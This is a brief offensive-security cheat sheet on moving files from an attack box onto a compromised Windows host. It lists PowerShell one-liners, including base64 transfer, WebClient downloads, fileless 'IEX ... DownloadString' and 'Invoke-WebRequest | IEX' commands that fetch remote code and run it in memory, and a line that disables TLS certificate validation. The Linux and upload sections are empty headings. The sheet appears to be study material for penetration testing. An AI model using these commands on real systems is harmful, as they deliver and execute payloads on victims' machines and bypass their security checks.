File Transfer Methods
Windows
Download Files on Target
# Attack box
cat filename |base64 -w 0;echo
# Target Windows host
[IO.File]::WriteAllBytes("Output_file", [Convert]::FromBase64String("base64_string"))# File Download
(New-Object Net.WebClient).DownloadFile('<Target_File_URL>','<Output_file>')
(New-Object Net.WebClient).DownloadFileAsync('<Target_File_URL>','<Output_file>')
# Fileless Download
IEX (New-Object Net.WebClient).DownloadString('<Target_File_URL>')
(New-Object Net.WebClient).DownloadString('<Target_File_URL>') | IEX
Invoke-WebRequest <Target_File_URL> -OutFile <Output_file>
# Response content cannot be parsed because the Internet Explorer
Invoke-WebRequest <Target_File_URL> -UseBasicParsing | IEX
# In case of SSL/TLS error
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}Upload Files to Attack Host
Linux
Download Files on Target
Upload Files on Attack Host
Last updated